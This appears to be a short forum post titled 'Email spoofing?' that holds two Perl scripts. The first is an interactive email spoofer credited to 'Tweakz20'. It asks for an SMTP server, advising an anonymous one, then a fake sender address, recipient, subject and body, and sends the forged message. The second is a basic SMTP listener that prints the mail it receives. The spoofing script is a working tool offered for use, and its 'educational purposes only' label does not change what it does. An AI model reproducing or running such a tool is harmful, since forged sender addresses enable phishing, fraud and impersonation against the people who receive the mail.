Email spoofing?

#!/usr/bin/perl
#
# Email Spoof by Tweakz20
# 
# ONLY to be used for educational purposes!
#

use Net::SMTP;

print "*************************************\n";
print " � Simple SMTP spoof by Tweakz20 � � \n";
print "MADE FOR EDUCATIONAL PURPOSES ONLY!!!\n";
print "*************************************\n\n";
print "Hard one first. You need an SMTP server.";
print "\nTry to use an annonymous one if you can...\n";
chomp (my $server = <STDIN>);
$conn = Net::SMTP->new($server);
die "Can't connect! try a different server!" unless $conn;
print "\nWhom is this email From? (fake address)\n";
chomp (my $from = <STDIN>);
print "\nWhom is it going to?\n";
chomp (my $to = <STDIN>);
print "\nWhat to put on the Subject line?\n";
chomp (my $subject = <STDIN>);
print "\nWhat is the message suppost to say? (backslash n doesn't work\n";
chomp (my $body = <STDIN>);

$conn->mail($from);
$conn->to($to);
$conn->data();
$conn->datasend("To: $to\n");
$conn->datasend("Subject: $subject\n");
$conn->datasend("$body");
$conn->dataend();
print "\nSuccess!!";
#too simple...
$conn->quit;

#!/usr/bin/perl

use strict;
use Net::SMTP::Server;
use Net::SMTP::Server::Client;
use Data::Dumper;

our $host = $ARGV[0] || "0.0.0.0" ;

our $server = new Net::SMTP::Server($host) || 
  croak("Unable to open SMTP server socket");

print "Waiting for incoming SMTP connections on ".($host eq "0.0.0.0" ? "all IP addresses":$host)."\n";
$| = 1;
while(my $conn = $server->accept()) {
  print "Incoming mail ... from " . $conn->peerhost() ;
  my $client = new Net::SMTP::Server::Client($conn) || 
    croak("Unable to process incoming request");
  if (!$client->process) { 
    print "\nfailed to receive complete e-mail message\n"; next; }
  print " received\n";
  print "From: $client->{FROM}\n";
  my $to = $client->{TO};
  my $toList = @{$to} ? join(",",@{$to}) : $to;
  print "To:   $toList\n";
  print "\n" ;
  print $client->{MSG};
}